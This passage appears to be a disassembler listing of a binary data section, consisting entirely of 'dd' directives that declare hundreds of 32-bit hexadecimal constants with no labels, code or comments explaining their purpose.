		dd 3BB5D493h, 33842328h, 0B82213h, 0C4C9AD9Fh, 662D07FBh
		dd 97E0D4D2h, 9EC21085h, 6B7B9473h, 0E1379A12h,	6D54F500h
		dd 0FD53F9h, 1CD14663h,	0A25F0C8Ah, 2E9A3512h, 0BF011500h
		dd 5049EC54h, 1F489909h, 0C146D03Ch, 0B0FBDB35h, 0ACA9E05Bh
		dd 0F16B2600h, 960789F6h, 10A800CDh, 0ADB537B3h, 0C90FFE7Ch
		dd 5B159Ah, 87D36BF6h, 6E3E009Bh, 7D2AE2F4h, 88009493h
		dd 749F2C10h, 32F225h, 0DF0398C6h, 0B046CA81h, 0E0418700h
		dd 362B5C58h, 90B1E89h,	6AC280C1h, 272121Ch, 15078A00h
		dd 0E2547B42h, 6E7C3A1Eh, 23683280h, 70354B78h,	6CDC9003h
		dd 0DDD4043Bh, 8BC18C00h, 0C7A63ACDh, 0C024A011h, 0F849EB72h
		dd 8067473Fh, 34810593h, 180FBB45h, 0F194C6CFh,	50001D6Ch
		dd 69DDE3CDh, 3AAEDA90h, 0E70026FEh, 41F7650Fh,	0A700BC7Bh
		dd 7DC32D01h, 0CED4A45Bh, 6540DCC6h, 28B2711Ah,	6FAB1B00h
		dd 4057C6DDh, 839827h, 0B683592Ch, 557B7824h, 8BB03FFAh
		dd 52695CC0h, 0A6670h, 0AB82BC58h, 9FD7F00Ch, 19222100h
		dd 81F7E096h, 41930097h, 0E68085Dh, 6200703Eh, 756653BDh
		dd 0EC4476A4h, 83BC00DEh, 682088C0h, 0D800EB80h, 0F6FD87B8h
		dd 522762h, 0E962CB9h, 3BFBB054h, 0D7248600h, 0E89225AEh
		dd 0ACBD006Fh, 0D8EC835Ah, 22004808h, 0DEE967CAh, 95CCD3h
		dd 84251CA3h, 0EC42449Ch, 5CF25DFCh, 72DFBB0Fh,	4F817D31h
		dd 0C1DB4706h, 0C064F09Dh, 1D226FC4h, 35FE4D5Ah, 20008B74h
		dd 32CCEF6Ah, 7DEE03h, 1DBDB8D9h, 4F9144FDh, 31B64700h
		dd 52334C1Fh, 1BF20020h, 0C47ED714h, 0B348C534h, 590E0FA0h
		dd 2EDB40DAh, 0EC66494h, 0CB58AB52h, 6309A922h,	4EF0F0A0h
		dd 3C0084CAh, 0D9BC3AF7h, 11033BDh, 91DE926h, 84BBE20Eh
		dd 0C3F4A9B0h, 909ED204h, 62AE18E0h, 69003EE2h,	8045FCC0h
		dd 96A39Bh, 0A57ADDEAh,	22E744AEh, 0A4E62E3Bh, 401717DEh
		dd 69FCC803h, 24D5D8A0h, 0ED8909D0h, 14838AA5h,	0B1B956ABh
		dd 2232C872h, 0D2940754h, 1088A4Dh, 51FADABCh, 8440B0E7h
		dd 85F12Eh, 41364A4Eh, 666F6C98h, 0C076701Dh, 0D91D8880h
		dd 2B3E09h, 399FF5B5h, 194A5FD6h, 8310EA00h, 3DAA5590h
		dd 2A7D1809h, 1BD1F0BAh, 8C667F00h, 0CB3CD92Fh,	720A0074h
		dd 1C612B17h, 7A00B74Dh, 221D6769h, 3EE853h, 9C31C9D5h
		dd 570D7BF1h, 0E38B3600h, 5A4C4AD6h, 4FD11F38h,	221481D8h
		dd 12DDC61h, 9FD3BF58h,	2288Ch,	591F1916h, 40A47EB7h, 9D713B00h
		dd 0C67F3699h, 4AA01F0h, 0F657E68Ah, 89C5E4B6h,	0D0568407h
		dd 32B0CB53h, 26EBC402h, 4686D4Fh, 0C1774505h, 0C4F006ACh
		dd 0A33F551Bh, 0FB5D8071h, 847BF3B2h, 0B3B404F1h, 0C076F4EAh
		dd 1A6E4714h, 149D3400h, 0DB72B77Eh, 0B1B9846h,	92E27C67h
		dd 5578F080h, 410284AEh, 13755CEEh, 955D4007h, 8AC70065h
		dd 0C1A6B65Bh, 0A800D51Ch, 9F0D2D2Eh, 0D08F0Fh,	91A46612h
		dd 605F7069h, 82131E00h, 47144962h, 8BEF3EACh, 752E7ABAh
		dd 579C81B9h, 402C65FFh, 1CB08F9Ch, 5DBD7707h, 0D602725h
		dd 0ECD673h, 0B349FF9Fh, 68EF5459h, 390147F4h, 0B6AB3B2Fh
		dd 7FDC7276h, 0D484014Fh, 0BD12162h, 9CA0D7A1h,	650B3309h
		dd 73529A9h, 0B6508A67h, 9521F8Dh, 3A8348DEh, 0C65CB4A0h
		dd 0AA24A5B7h, 869D8803h, 1C9C96C0h, 0E1D365Dh,	9FDA572Eh
		dd 4BAFA783h, 72F071EBh, 0E3399E77h, 44000FBh, 4C64EFADh
		dd 1A030027h, 1E80D7C0h, 0F900BA99h, 0DDEC954h,	3CC41653h
		dd 3F80100Fh, 0F1DAF05Dh, 780F9CA9h, 805EC3B1h,	2390EB56h
		dd 37CA3CA7h, 0D3CBE400h, 4A607DECh, 45032DEAh,	0D801C769h
		dd 7FFB90C9h, 967C00FEh, 0DD8C30DCh, 1407F3D5h,	6FF40C84h
		dd 90958A79h, 0B907B440h, 0D9C700EFh, 0CD43A1BFh, 0D8B2DF4Dh
		dd 63F3C00h, 0D01B3DF3h, 0D67A00D3h, 21FD4E9Ah,	0E53D859Fh
		dd 32C4841h, 0FF285D20h, 80B5FA52h, 0FB933688h,	49C2009Bh
		dd 0B660764Ch, 6F7AE126h, 8201A67Dh, 0BEC3B87Fh, 9F0DD2Bh
		dd 329E3EB9h, 0C584F109h, 1092EF80h, 7492DCCCh,	80F9C621h
		dd 515F2EF8h, 8B7122F6h, 8D383100h, 80323CC1h, 0ACB009h
		dd 5335EF16h, 129B77EDh, 0E3F6F303h, 0C8F9263Eh, 0B12F9Ch
		dd 0E8CF7BACh, 0A7DEF7AFh, 4964C800h, 70F97539h, 60EB0020h
		dd 0D9A66C22h, 863D9307h, 1CE9A68Eh, 0C76E1200h, 0E7631AEh
		dd 754738DEh, 119D2341h, 3050ED48h, 72002FECh, 91BB306Bh
		dd 0B77AEBh, 3BC270DDh,	1D42035Bh, 0FB66E80Fh, 0BC1BA40Ch
		dd 7F8F54C0h, 399B07C8h, 40EBB371h, 9E138C21h, 0CF00227Ah
		dd 93FB8052h, 8AC03h, 0DD7AD6Ch, 5C679E55h, 35CCBA13h
		dd 0A1886C40h, 5883AA6Fh, 0F029C4Ah, 0AD33C8DBh, 77CB3CC0h
		dd 3F7424F7h, 0C9F73400h, 0C5EA3A99h, 0A2D6005Dh, 0BB31288h
		dd 0E6004076h, 6787E4F6h, 90C8BB1Ah, 0B60CA027h, 959E00A3h
		dd 0EA99826Bh, 873A253Ah, 0E80480F8h, 41EFB721h, 0B1B20055h
		dd 34A57189h, 5012B819h, 1000BD45h, 62972D0Ch, 0A47E4CFAh
		dd 23DC1708h, 900BA109h, 984EFED0h, 0A10CE895h,	0D2C0B9F0h
		dd 0AF560108h, 6AB1F77h, 0C491FCE8h, 0DE745Ch, 0B2D56353h
		dd 285A1A2Bh, 794BF88h,	0CAC26F8Ah, 0EA6892BEh,	91C0B2E0h
		dd 87032EE2h, 9BD13D43h, 486A072h, 0C69C00D7h, 0E0A3424Ch
		dd 0BE031D7Eh, 0CDE8A85h, 825BB04Dh, 569900E4h,	964ABFC5h
		dd 860065D6h, 0F38C7EC6h, 60AD4CC9h, 0C1BFD18Eh, 34000385h
		dd 7DB3DC6Ch, 0EC66E31Dh, 5B2F3BB9h, 0FBC46800h, 0E7F82675h
		dd 9B2CA000h, 0E9A257F5h, 0D5EE6Bh, 1783343h, 8074115Bh
		dd 170CB4Ch, 3A9CB975h,	0E7D4D202h, 0C00D0B07h,	70380BA0h
		dd 0D1024494h, 18AB33B4h, 56E04075h, 29F10004h,	0E602B558h
		dd 0C00659Ah, 0BF9D4E5Bh, 5E9C9FCh, 351C7361h, 5098C7A9h
		dd 90FAABF3h, 1FA82900h, 0D4B962A6h, 0BB491D0Bh, 0A3178057h
		dd 0A75873ABh, 0C6F27F00h, 220150D8h, 308E008Ah, 36D97C3h
		dd 0A20FCFFBh, 0C76145h, 0E7BA8B6Bh, 1DF015Fh, 0CD03972Fh
		dd 96842015h, 70819B07h, 0FB907EA3h, 906F185Bh,	37690090h
		dd 0C6AF0C24h, 3A008587h, 0D0A44C61h, 180C8h, 0CD909D21h
		dd 0B3C349F6h, 2DE5F4E7h, 74B74Ch, 3A5A1CACh, 58D539B8h
		dd 0B2C60C5h, 0E6BF02B8h, 1CC1AAC1h, 57D1DC6Fh,	9EFDB700h
		dd 86F787B1h, 433B00C9h, 9A7B0C73h, 621C553Ah, 0AA80C2B2h
		dd 0F3944B49h, 0F5D7B8Bh, 1D0E8F87h, 3C13D800h,	0B49A5BCAh
		dd 0C13B9F0Eh, 0A8C2A0B1h, 26BEBCD7h, 287CDF9Ch, 1310C4C1h
		dd 0BBD04075h, 7E55A0h,	0C5FC6AE5h, 0BAD67BEAh,	0AB247000h
		dd 7633BC27h, 0D09637h,	9DFAA647h, 0A20C9BADh, 18F39C0Bh
		dd 0C2EB05B2h, 0C01FF014h, 5BEEC1A6h, 5D0A200Ch, 287898A2h
		dd 61242837h, 20F730B0h, 0A4F9D0CCh, 8250C9h, 0AD97ACEAh
		dd 3EEE002Bh, 0C0B02923h, 16010A5Fh, 848F2EB6h,	8DC4E801h
		dd 474B3B95h, 71C30885h, 3A4B8382h, 0D4F51EF8h,	0CEE39B07h
		dd 0C5D6C483h, 49480679h, 11240527h, 0BF042353h, 34E93FC3h
		dd 3C0B1000h, 6B1DC71Fh, 988707C0h, 0D3534089h,	0FEF0323Bh
		dd 50CD506h, 29241D0Bh,	0B7BB445Ch, 948353F6h, 0E4C0FF23h
		dd 78226B1Bh, 7E1E2288h, 0A119F642h, 47F45126h,	11149A3Ch
		dd 1D344C6Ah, 0BF8BF4h,	95A73B7Dh, 246E0Bh, 0C8633897h
		dd 16272CE1h
		dd 7FDE38h, 3E221826h, 0F8722A80h, 0EB1C0047h, 73C9199Ah
		dd 1A01DA39h, 6D330C5Dh, 0C28B4F1h, 668BC004h, 91B0B0EEh
		dd 0CD2A6E00h, 69E3832Bh, 28970092h, 7DD53379h,	1037E75h
		dd 0D1EE3A37h, 93DFB066h, 0EA4D25E5h, 3F212880h, 0CA0F67C2h
		dd 0AF7F84C8h, 0D795E0AAh, 76B90A09h, 30C4A81Bh, 49C10007h
		dd 0E7682038h, 0B65CBE82h, 2B0900B0h, 746FF13h,	4B9300BFh
		dd 149CF46Eh, 0F200D4D8h, 114AB518h, 1D77107Dh,	0C0DECE8Ah
		dd 4C485AA2h, 0C1E5952Ch, 67119FCCh, 7FA06600h,	24E336DBh
		dd 8B087CBBh, 0C0380AA6h, 85055479h, 14467B7Fh,	4B722090h
		dd 37C8248Ch, 906901FDh, 507E9678h, 7C1F4198h, 1A3BD816h
		dd 0A842DC07h, 5640BE7Eh, 7992CEACh, 0CF7D00B1h, 0F1614C90h
		dd 0BD1F53FBh, 0E780A8B2h, 0D4E685F9h, 6580FC3h, 64673BFFh
		dd 244F41D3h, 0C136CC56h, 7546F700h, 8367E823h,	2A7E38FCh
		dd 92280480h, 0E5EC24DAh, 41DD1D07h, 9D41F503h,	9EB99E26h
		dd 5A2B8D80h, 31FF59E7h, 74E5F000h, 0CA2DA9CBh,	500D1CE8h
		dd 0BDE300B6h, 62E46BD2h, 7FD8EE02h, 0E0E54923h, 3AC71DE0h
		dd 88005A4Dh, 0C49F6F78h, 912C1CFCh, 0E800D093h, 0C0FEF2ECh
		dd 0B2AF0099h, 0E773DB20h, 0CC001E86h, 0B5637609h, 34DE7Eh
		dd 0EADC2D1Ah, 0C027F3D2h, 1CAD038h, 0EF447565h, 0E0CA3154h
		dd 3AA86E0h, 12BFFA51h,	85F2900Dh, 0BD253070h, 0B0C40030h
		dd 0C44A20h, 57CA75FFh,	0FDEEE054h, 46776602h, 5002932Eh
		dd 884700B0h, 0E58F43CFh, 0C44E4498h, 86EB2C70h, 954A16h
		dd 0BBFEC818h, 7373E6FDh, 4B7B3FF0h, 56053EB0h,	0EBCF8E58h
		dd 0CD358F00h, 0A16E01h, 2592FB86h, 0E74DD4C9h,	0DF935Ch
		dd 0DF4F4933h, 7CEB76D8h, 0D64248B6h, 48A81D00h, 117843FFh
		dd 3AD87B00h, 0FD1A66Fh, 6E900BAh, 0E051460Eh, 0F401F586h
		dd 0A822C1DEh, 0DF48012h, 77850F02h, 3F609430h,	0DDAEDE50h
		dd 201D0496h, 66F68800h, 0EA16BDFAh, 0D3DCA01Ch, 0F78F006Bh
		dd 87609390h, 4100047Dh, 15BEA33Eh, 25663Ah, 0EAF7D05Ch
		dd 9701585Ah, 2249B01Ch, 0F924006Fh, 2A79646h, 0DEEBA59Ah
		dd 0DC8077FDh, 53DD37BBh, 18FA88h, 3B176685h, 4296D365h
		dd 6EEA8100h, 7DBBFD97h, 88C6396Fh, 0C58A021Eh,	0C0B52B8Eh
		dd 29109E8Eh, 6A3F3700h, 4588125h, 0A3E3A0E3h, 735D0150h
		dd 2088DEC0h, 0A440F054h, 4091205h, 0E0C0451Fh,	5BFCE6h
		dd 8C92E75Fh, 98950AF4h, 0F6F93400h, 0C0606B7Eh, 54C90245h
		dd 4E3A7B43h, 67B968E8h, 80104A51h, 0B4EB38D4h,	0AB4282h
		dd 902A176Ah, 7E73F9A2h, 4EDEC204h, 0D2830C14h,	286FA8E5h
		dd 30DC007Ah, 1AD57FE1h, 0C300727Eh, 8E525813h,	76712DDh
		dd 6EDC78AAh, 0FB172006h, 6A001339h, 662AC8ECh,	0F20B92h
		dd 0BE1C0A52h, 0A8DD0DBBh, 8B945601h, 3ED06E7Bh, 79F76F8h
		dd 8EE671C2h, 0C5CCF218h, 0B5430FC0h, 2F49BD1Ch, 9FB1D947h
		dd 0E9EC19C0h, 525008Bh, 0FB668CD2h, 85002DE8h,	0B05B6876h
		dd 60F6BFh, 3007A218h, 4A56DFE6h, 2AC4F800h, 2E97700Dh
		dd 233103FEh, 1C30E769h, 4261F7E0h, 0BC0E4F00h,	16D96F34h
		dd 78650007h, 0D226B49Bh, 0FC00627Eh, 0EDA46E97h, 0B6E9BEh
		dd 5F644D1h, 0C389033h,	3D3B0D01h, 5E04A461h, 15CBC4h
		dd 0C11F1CDDh, 0A1934495h, 8A55EB01h, 767BFF7Ah, 1F1004E0h
		dd 9DF845D4h, 0BFB38042h, 0A20F9D53h, 21A03018h, 517152h
		dd 9EF87601h, 0DA9BCBB8h, 0C6EE58h, 22057068h, 15112D1h
		dd 87F99F13h, 0D4F3314Eh, 0BC00F757h, 6BF2FC82h, 0E6E09A1Ah
		dd 0EDA5003Ah, 0E50C416Ah, 532CC718h, 8900EF22h, 37DD2149h
		dd 90EF0052h, 7D60AB0h,	0C39AFCAh, 3438800Fh, 926F4E93h
		dd 599F1F4Dh, 635244B7h, 4B05C011h, 6A0E046Ch, 20E62B4Fh
		dd 0FF369684h, 98D70669h, 2064E538h, 94822A06h,	39311774h
		dd 440AE3E2h, 0CD0A24Bh, 0B8185952h, 5EFD9D16h,	201A5400h
		dd 28E412C0h, 0FCF8902Ch, 6F380080h, 3EE5D48Eh,	0FAFC375Ch
		dd 851B30Eh, 0C9F440FFh, 9F475Dh, 0DE6D8363h, 0D3F9BFF7h
		dd 0ECD49D01h, 95E2144Ch, 0ED8C1180h, 52ABEB24h, 94676600h
		dd 7E830A8h, 0DAF5001Fh, 8EA24257h, 0F009AE36h,	14868CEh
		dd 6E9079F8h, 1A0690BFh, 0A07042BEh, 0E049EF00h, 244AEDABh
		dd 7CAA00FEh, 0F2EB291Ah, 0CC38E948h, 25E0E078h, 0FB2B338h
		dd 0CA1B3CE1h, 79DB00F3h, 99DE8A83h, 4AAC9800h,	7FEAC707h
		dd 541E03A2h, 0BB75DCCCh, 94E9D5D8h, 0E2E64403h, 0A0CD0C19h
		dd 0A1B356h, 39101337h,	5DE01741h, 259BC41Eh, 0F00E4E80h
		dd 0EAC6AEh, 0AB6A068h,	0F5C967FDh, 0A13B1B71h,	0C53C0017h
		dd 0CBAB157Ch, 10D989Fh, 0E463D05Fh, 806DD796h,	39DBA2F0h
		dd 3A7F70CFh, 0CEA8FF4Ah, 0ECEA87h, 8366EA24h, 0F57D4771h
		dd 0C30D6C00h, 0A98EC860h, 0D7561F19h, 0C2F180E2h, 0B528FAD4h
		dd 8F759574h, 0C626E700h, 0B21BE909h, 892C0210h, 0D1B7E30Fh
		dd 4E9111C0h, 1CF0F300h, 5B85DECFh, 0BBB01Ah, 0A6A3E113h
		dd 0F150EA35h, 8480995Bh, 0DB47C11h, 90A85E2h, 0B7162010h
		dd 9BBD1800h, 4A806E1h,	0E3770Dh, 0A701454Eh, 6571868Dh
		dd 5C975300h, 0F1C69968h, 75690058h, 0BFB2483Ch, 8500C377h
		dd 0C770C9DEh, 91F3A0h,	0FACA6F6Eh, 1F5A803Fh, 401A0600h
		dd 0ACD5B168h, 62DF00BDh, 0A596ABE8h, 5A1E5CD1h, 790FC8h
		dd 0B24A9926h, 94B413h,	85174F20h, 8F34866Ch, 6BC7700h
		dd 8E843F0Ah, 1CBFC79h,	1FE9B344h, 0D0DA4AB9h, 640055C6h
		dd 0E10C927Eh, 0FA3B7191h, 19BC18F4h, 0A7740A1h, 686D8900h
		dd 2953B3B2h, 0BA7B0007h, 0D441DA6h, 0C7017799h, 6182028h
		dd 51D06782h, 63DD004Eh, 6C548DDAh, 0AA3B342Eh,	61627528h
		dd 8084F321h, 0DFA3D883h, 17ED30E0h, 42CE3B18h,	160E7F12h
		dd 37E98900h, 0E05DC5h,	0B9A8867Dh, 0A05E6BDBh,	0B8A066E6h
		dd 45012CE1h, 1D06D781h, 90BB973Ch, 3EAF7E86h, 670F802Fh
		dd 40BEC176h, 0DE11A3F3h, 8D230025h, 0C8EE2120h, 94017DB9h
		dd 6598E887h, 0C420FB7Ah, 0CAD71316h, 92BE0784h, 40E00E8Eh
		dd 744EC088h, 80FEA53Eh, 730EF7B7h, 0ADB0D8h, 0D90D6475h
		dd 2E6BE48Ch, 0D2993900h, 595A79B8h, 4A9000C9h,	4F34F1D0h
		dd 0D90673F4h, 7681DF2Eh, 463D22C8h, 3F0FA817h,	0C90CDE01h
		dd 2E20E389h, 303C0072h, 5B28C849h, 0AB0F906Bh,	9EC76601h
		dd 7E1B0DC0h, 3E8D1DFh,	0F137CB72h, 0FAE02043h,	0A1009904h
		dd 91E3857h, 0F09DBE6Fh, 0C0C7050Bh, 8007352Fh,	133D65EDh
		dd 5AE9250Bh, 85DD80A0h, 955572h, 0EBA31E1Ch, 0F9E6CD3h
		dd 881A7E00h, 0FF69CDD2h, 3940B8DFh, 0E79DA98Bh, 80B85E09h
		dd 0D9BEF0CCh, 63B0FFBAh, 7F56CA00h, 0ADFCCBD7h, 41FE21h
		dd 0AC770FD5h, 0C4FC6DAh, 3BCD6600h, 324731B3h,	0FAF268h
		dd 3C48E59Ch, 84B18D59h, 7AD6C0Eh, 0E0672EC9h, 0CCA1872h
		dd 0E5CD0239h, 8C3FB1Fh, 235C0EC0h, 0EDD3BD07h,	52203AFFh
		dd 1FC69450h, 0D822F5h,	4ED56D53h, 73E7A08h, 739D01A4h
		dd 0F19A6C82h, 74A3007Ah, 643DC776h, 0AB00A5FAh, 57B591EAh
		dd 25B0A6Ch, 0E3B9CA24h, 0DC40C04Dh, 0BD4C4E52h, 0BE1E00A8h
		dd 76615D8Fh, 49B00066h, 0A4CEDF2Ah, 0B4E62747h, 0BF430E03h
		dd 0B0E0DBA8h, 83E1D0h,	8AA56796h, 0BC668BD4h, 0FC00FD74h
		dd 0C2B106D8h, 0C09812h
		dd 9F49F44Ch, 0D61F34ADh, 29458C03h, 803B6080h,	905F37A7h
		dd 30ED0035h, 4C2E08C4h, 60EE9313h, 0ACA4EA00h,	4F314A4Eh
		dd 7B110002h, 0D438D6CAh, 0EE3E16CCh, 0D5040041h, 9B567C17h
		dd 3BA40080h, 733FDA7Ah, 2200B2D1h, 1F458976h, 0F87BDE39h
		dd 911C00A4h, 77A5EADAh, 490036BFh, 0F5F2353h, 504B43EEh
		dd 1F9790A8h, 3924F785h, 4713209Fh, 8098C4BDh, 34F0966h
		dd 0B67A55Ch, 806FC6AAh, 64DDDCE4h, 0FFD25CCDh,	0EE1F8B0Fh
		dd 61413EE0h, 70014520h, 2E2369ECh, 54C49D8Ch, 9E8B063Bh
		dd 11E96FC3h, 933A6738h, 704047C1h, 0C3B1DC60h,	0FBC200E2h
		dd 156FA636h, 0DB07B763h, 2092135Bh, 0EE804F45h, 90D4B02h
		dd 0F9AB051h, 4C6588A3h, 0DC620CC2h, 4FD83440h,	0AC054E00h
		dd 0F6B654A4h, 9E74006Ah, 0FEC4C69Ch, 18988A50h, 79526000h
		dd 9D01272Dh, 58AA00E0h, 69572E66h, 0E13FAF95h,	541DA64Eh
		dd 9765A830h, 0BEED0012h, 3C52380Eh, 4A163F7Ah,	64000A01h
		dd 4E5DC4EBh, 0BB451DBFh, 4640C7D7h, 92479048h,	43E00904h
		dd 1CD21200h, 96936F13h, 2F7F0035h, 0D9C97646h,	0F9793DECh
		dd 1A48DA01h, 587AD1FCh, 1D658430h, 1C7ED9C4h, 14A1FE9h
		dd 888E9789h, 0A0DBC074h, 7FD7CA00h, 90F03A2Dh,	0F581A0BFh
		dd 299603EBh, 35A20D46h, 0EECE84C8h, 58162F00h,	0DD54857Ch
		dd 23200076h, 9F4222Ah,	402C0FFh, 18CE8F83h, 384D409Bh
		dd 5C730C55h, 8729847Eh, 430E797Ch, 0A00DBCCEh,	0D5931B41h
		dd 2B94A092h, 0F144005Eh, 5F544F30h, 29003D81h,	3877CA50h
		dd 16A6BE2Ch, 9EB7CCh, 0E7A78841h, 0B8FE9327h, 3DD8B907h
		dd 9106F52h, 167EE4CDh,	0E92B18h, 1632ADB8h, 7CFAEA5Ah
		dd 0F122B504h, 480A0B6h, 125C86D2h, 5EB19Dh, 3A72A3ADh
		dd 940980D6h, 10048DE7h, 0B94334h, 0AB994A33h, 650FB742h
		dd 8086E43Eh, 7988689Eh, 911D50h, 0E1F4A7C7h, 42E5C67h
		dd 11494D00h, 0BF6FBE08h, 55D2000Dh, 423AAB24h,	2B0E44DCh
		dd 40C55CCAh, 0AEE2C1C9h, 6F5D00AAh, 37DD0727h,	0C4983EA5h
		dd 8D018175h, 0F1EE3B7Dh, 5A603FCEh, 8F64004Eh,	0BADB0C33h
		dd 0C800DEA7h, 0E8426981h, 0C15BAFh, 39094934h,	78B11148h
		dd 0CB5A4000h, 32F8F30Eh, 9BFE14h, 1707CFBDh, 0A729C158h
		dd 4E23EC00h, 5DB9F99Fh, 2EBE07C4h, 8080305Ch, 1EF8C50Ch
		dd 0C07A620Fh, 0F47400C2h, 78F7C01h, 2782328Bh,	0B257D055h
		dd 0B43CB946h, 430480D0h, 0EF29CF99h, 0EA030063h, 8F970172h
		dd 900A747h, 0F07ACE51h, 1BD2D0Ch, 4C7BC02Fh, 40D05DE6h
		dd 4F0D9890h, 4B558300h, 9B45D43Ch, 0B2E4012Eh,	0CE9E842Ch
		dd 9DF0EF58h, 54371599h, 57B1FA8Ch, 1DD4C592h, 2E980258h
		dd 3F5F63D3h, 0D0009954h, 64DEE15Eh, 23AC00D8h,	0AEC3B442h
		dd 0BA1458E2h, 0B50856h, 78708979h, 3D20ED77h, 400025C5h
		dd 13E6C87Dh, 14002B26h, 5961485Ah, 3FF836C3h, 0CE80998Eh
		dd 5346BD68h, 63006932h, 2E7F3AC5h, 4441FF2h, 0E12C4C99h
		dd 881FC06Fh, 81FA69F7h, 0B9E7BE00h, 0A496DBE2h, 0DFB0045h
		dd 0B1F8ECCBh, 6100BF19h, 1016906Ah, 0F23D1Eh, 8E30D05Ah
		dd 3504F77Bh, 5D497013h, 2439400h, 1A7A679h, 0E34813C8h
		dd 70D7129Ah, 0AC00DA31h, 76837563h, 0B8DED2B8h, 0FC2F1501h
		dd 0A13EB818h, 9F7AFB00h, 0F40C350Bh, 1A7C04EEh, 70294800h
		dd 36E27E12h, 0BA390054h, 55AC5BC1h, 0B3003FBDh, 6B874515h
		dd 0EF0DAEh, 3852E023h,	0B6EC5A8Dh, 0A97BF890h,	0CCB1D201h
		dd 9C2248A8h, 3198424h,	0B497C6B8h, 8B999EEFh, 0B188709h
		dd 84B3E6F7h, 0BF1120C7h, 0FB118F06h, 7D202EFEh, 4B0F14DBh
		dd 0B1B2839h, 40C718EFh, 0A2C7A6C6h, 0F18B7E04h, 91C6E5EBh
		dd 5A30F18h, 0E220D3A5h, 58B4B713h, 481C3DF6h, 21D49DBDh
		dd 78953028h, 1ECF19A9h, 9C5E1DC6h, 7F7500C1h, 1E146303h
		dd 8388123Bh, 1BAE2EC3h, 96A00018h, 43FC3DD0h, 0AF0012E7h
		dd 63C89205h, 17271BCh,	0B7279BA2h, 0E8918AAAh,	57004D70h
		dd 92CF5CADh, 664EF4h, 2884CB21h, 606CE4FEh, 0B4F11C00h
		dd 6114CCD8h, 80DA00A6h, 982B059Ch, 84031563h, 9D905341h
		dd 8834A0FBh, 946B0150h, 71B8D89Ch, 2BF452EFh, 330C04BFh
		dd 767D11C3h, 558C0027h, 66479A8Ah, 0C403FAAEh,	0E2C81793h
		dd 7798E073h, 1C823EDCh, 0C00F993Eh, 7E8076A0h,	0B3C71D1Ah
		dd 0E59F2CA0h, 51930F30h, 885F7F92h, 90768565h,	0D13D29C1h
		dd 4250D20h, 1D64FFF0h,	0C7F465B1h, 90F6ACAAh, 0FCBC748h
		dd 61191C33h, 6008C543h, 584B8359h, 19008AB4h, 402F6970h
		dd 14A816FEh, 70FF9565h, 1814AC4h, 4BC6DA51h, 18FB95D0h
		dd 0E8942149h, 9380834Ah, 465F00CAh, 0C2929C05h, 8F228561h
		dd 1CF90AC5h, 0C74C106Bh, 19939049h, 0EF8FEB1h,	95184718h
		dd 2259A9A8h, 9F04C8B4h, 0AB902FCFh, 86E25045h,	70303836h
		dd 0D98D59F8h, 0F84E5275h, 33BC0442h, 1097F230h, 0F5461FCh
		dd 64A5524Ch, 0B372DBE1h, 3F08F8AEh, 21604200h,	5B6D472Ch
		dd 5C810767h, 1F363A1Ch, 0BC25494Fh, 0B6DEC0EDh, 8900B326h
		dd 20CEA151h, 75942ECh,	0F14DE6B5h, 5D7410FDh, 1A00E106h
		dd 81630C9h, 3F7C5Fh, 0F453DA5Bh, 21EAE0B3h, 8E73040Fh
		dd 0C2500E9h, 187D9DEh,	0B5678286h, 0C0D8751Ch,	94F0048Ch
		dd 18DF6F00h, 0A8784014h, 287D3C17h, 5B843480h,	6ECD49B7h
		dd 0DAA5C000h, 7DB9F25Dh, 0CFBE038Dh, 3506C831h, 6F9885F3h
		dd 0BD00744Ah, 0DD566E8Ah, 7C2013Ch, 6B51B5F7h,	87967166h
		dd 99FA7071h, 0CB400B00h, 37CFEA92h, 440C0734h,	30BB9D6Bh
		dd 0B8EDE5BFh, 7406D10Fh, 7720F9A8h, 0B04464h, 36EAA1A9h
		dd 313DAAADh, 53331800h, 7FE78C70h, 0D0A054A4h,	0CC9CA047h
		dd 3EBE0ED0h, 9F23F1EBh, 0A0D02A6Fh, 8A155424h,	0E82CF4h
		dd 0DB23482Dh, 71E7671h, 0E16C4EFDh, 9368D0A0h,	5D00CAEEh
		dd 0A1396359h, 0DA2F19h, 69F35137h, 0B022899Eh,	56844E00h
		dd 0F6F50F26h, 1883005Eh, 9FCADE0Dh, 63E66FF7h,	35E13F00h
		dd 8E3BF586h, 0CF5300C5h, 85C4593Dh, 7B7EE638h,	753A4205h
		dd 40800AF8h, 0CFFC0Bh,	5340CC24h, 0FB21FD9Fh, 917CBC00h
		dd 8ADEF45Ah, 25B7005Fh, 7EE6A7EDh, 4900C92Eh, 0D7A6411Eh
		dd 10B0F9h, 0D33F4B52h,	321E973h, 1122A200h, 171C6C7h
		dd 87B838D9h, 0F480E5BCh, 287FE82Ah, 0A4A065BAh, 760096C3h
		dd 0B6977946h, 0BAC4F967h, 2DA0314h, 8D643AF5h,	611FE8C0h
		dd 68716C09h, 394A80D3h, 20609C2h, 48C95827h, 14A035A3h
		dd 722AB3D5h, 450F7E07h, 3A402CA7h, 0FA77FFEBh,	4E7612D9h
		dd 410F1F29h, 3D325DE0h, 41A6C59Ah, 17A3C2F4h, 0EF009CDAh
		dd 30BB20FBh, 0D6650022h, 79D4A6ABh, 0DF0001E7h, 67F1524Eh
		dd 136CD08h, 3A5BA22Dh,	20954C32h, 300C23Ah, 12B29059h
		dd 0E84C39Eh, 0F29AB073h, 37056D40h, 6800A371h,	885BD17h
		dd 12AF497Ah, 0EE8F5Fh,	0DFD782Ch, 6C00480Ah, 390C33ADh
		dd 0F4B0B10h, 7FE905E8h, 0F5C2093h, 0F500768Fh,	0DF711C96h
		dd 0E055F3h, 0D2937974h, 0FC57ABB2h, 0CA4B3F03h, 0CABC026Bh
		dd 0B3604840h, 8EEC2Ch,	4661A093h, 0F04E7DAFh, 4DCB48C0h
		dd 644CFFh, 0BFD7CCC1h,	225EC9F2h, 86E89A00h, 259DCA23h
		dd 0C52D0010h, 9377EB07h, 0F5E06090h, 0ED453000h, 0B5B4ADA3h
		dd 6E03018Dh, 6FBD6A1Bh
		dd 0CCF2C924h, 7500F440h, 3DE50D13h, 0FC306EDh,	0ACB9FC85h
		dd 923BFFBFh, 1BABB600h, 0B18C54CCh, 6AC9990Fh,	380A40AAh
		dd 11D84Eh, 8B12F2F3h, 20E8E0B7h, 391DC1Eh, 0EA42C9h, 30FB1CFCh
		dd 2177788h, 55E72195h,	72401937h, 26005F83h, 3846650Dh
		dd 423A66h, 0C4FB5A02h,	0B86FCAB2h, 24F43F00h, 5D7DEE8Bh
		dd 26571585h, 6700C075h, 4CD5BB8h, 0C290D1C7h, 8A88250Ah
		dd 0F501B4B4h, 0DA9405A7h, 0A0D7E4h, 6B0A870Fh,	0EB1A619Bh
